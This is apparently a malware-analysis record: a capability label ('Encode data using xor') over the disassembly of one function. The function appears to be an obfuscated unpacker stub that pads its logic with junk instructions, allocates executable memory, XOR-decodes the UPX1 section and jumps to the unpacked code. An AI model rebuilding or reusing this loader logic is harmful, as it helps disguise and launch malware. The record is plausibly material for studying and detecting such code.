Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x35bb2efe
sub ebx, esi
sub ebx, 0x970d14d7
sub esi, ebx
popal
inc esi
not ebx
mov eax, 0
mov ebx, edx
and esi, esi
mov ecx, esi
mov edi, ebx
mov esi, 0xdba6ed8f
add ecx, esi
inc esi
mov edx, edi
or esi, ecx
inc ecx
inc eax
or esi, esi
mov esi, 0xc1054955
sub ecx, esi
cmp eax, 0x10086b7
jne 0x47afd1
and esi, esi
add ecx, 0x1cb6e42d
add ecx, ecx
cmp eax, 0x10086b7
je 0x47b015
mov ebx, 0
mov byte [ebx], dl
not esi
sub esi, 0x257e7289
not ecx
sub ebx, 0xaa0dc0c2
mov ebx, esi
mov edx, 0x47ada2
and esi, esi
and edi, esi
sub eax, 0x97ccfe43
mov ecx, 0x47af96
sub esi, eax
or edi, esi
sub eax, edi
mov ebx, dword [edx]
add edi, edi
mov esi, 0xff2b7b63
mov eax, 0x51bae0ef
and ebx, 0xff
sub eax, edi
sub esi, 0xad904e4e
xor dword [ecx], ebx
sub esi, eax
mov esi, eax
add ecx, 1
or eax, eax
not esi
inc edx
add esi, eax
sub eax, edi
cmp ecx, entry0
jl 0x47b041
or eax, eax
and esi, eax
sub esi, edi
not eax
sub esi, 0x4bce1af5
mov edi, esi
mov edx, 0x47af9a
and edi, esi
or ecx, ebx
mov esi, ecx
mov edx, dword [edx]
not ebx
and esi, ecx
sub esi, edi
mov edx, dword [edx]
inc edi
and ebx, edi
sub esi, 1
push edx
sub esi, 0x991e4137
and ebx, edi
mov edx, 0x47af96
add ebx, ecx
mov edi, ebx
not esi
mov edx, dword [edx]
add esi, 0x41050cf2
inc esi
dec ecx
mov edx, dword [edx]
mov ebx, 0x4bc1d137
mov ebx, ecx
dec esi
sub esp, 4
mov dword [esp], 0x47af9e
dec ebx
or edi, ebx
call edx
add ebx, ebx
mov edi, 0x5492a9e9
pop edx
not ecx
or esi, ebx
sub esi, 0xea147116
push 0x47afab
inc edi
mov ebx, ecx
sub esp, 4
mov dword [esp], eax
not ecx
add ebx, 1
call edx
add ebx, 0x4944d5e
and ecx, edi
sub esp, 4
mov dword [esp], 0x40
not ebx
inc edi
push 0x3000
sub esi, ebx
add ecx, 1
push 0x20000495
and edi, esi
or ecx, ecx
mov esi, 0xb7b33dfa
push 0
not edi
and edi, ebx
call eax
add esi, esi
inc ecx
add ebx, 0x18f4ae55
add eax, 0x200003fe
and ebx, ecx
mov ebx, esi
mov edx, 0x76a07f16
or ecx, esi
add ecx, 0xc449a7b3
and esi, ecx
mov dword [eax], edx
add edi, ecx
inc esi
or ecx, ecx
mov edx, dword [eax]
add esi, 0x45e679ff
inc edi
cmp edx, 0x76a07f16
je 0x47b189
mov eax, 0
mov ecx, dword [eax]
dec edi
dec ebx
add edi, 0x7c211b01
sub esi, 0x8a419ae7
not edi
not ebx
or ebx, ebx
mov eax, section.UPX1
inc esi
dec esi
mov edx, 0x47ada1
sub ebx, esi
add ebx, ebx
add esi, esi
mov edi, 0
sub ebx, esi
mov esi, 0x2acc21e5
add esi, esi
mov ecx, 0x47ada2
and ebx, esi
dec esi
lea ecx, [ecx + edi]
add esi, ebx
or ebx, ebx
mov ecx, dword [ecx]
or ebx, ebx
add ebx, ebx
and ecx, 0xff
add ebx, 0x5751ab95
mov esi, ebx
and ebx, ebx
add edi, 1
mov esi, 0x5c97b17b
dec esi
dec esi
cmp edi, 0x1f4
jne 0x47b1fc
mov edi, 0
sub ebx, 0xb2c7f646
mov esi, 0x435c6f2c
add ebx, ebx
mov esi, 0xebe96ac5
sub ebx, esi
sub ebx, esi
xor dword [eax], ecx
mov ebx, esi
mov esi, ebx
sub esi, 1
add eax, 2
inc esi
add ebx, 0x1bad54a8
not ebx
cmp eax, edx
jl 0x47b1bd
sub ebx, 1
add esi, esi
or ebx, ebx
and esi, esi
sub ebx, 1
mov esi, ebx
mov ecx, section.UPX1
or esi, esi
add edx, esi
mov eax, section.UPX1
not esi
sub edx, 0x253dc2bb
mov edi, 0x47ada1
add esi, 0x900b1858
add esi, edx
not esi
mov ebx, 0
or esi, edx
sub edx, 0x2165fe7e
mov bl, byte [eax]
sub edx, 1
sub esi, 0x7066f13a
mov byte [ecx], bl
dec esi
add edx, 0x15b5ce9f
inc edx
add ecx, 1
not edx
or esi, edx
mov esi, 0x351a4c2c
add eax, 2
sub esi, 0x25c5086e
dec edx
mov edx, 0x45312283
cmp eax, edi
jle 0x47b27b
mov esi, 0x8b976611
add edx, esi
and esi, ebx
add esi, esi
inc esi
push 0x45e6a0
sub esi, ebx
add ebx, ebx
not esi
ret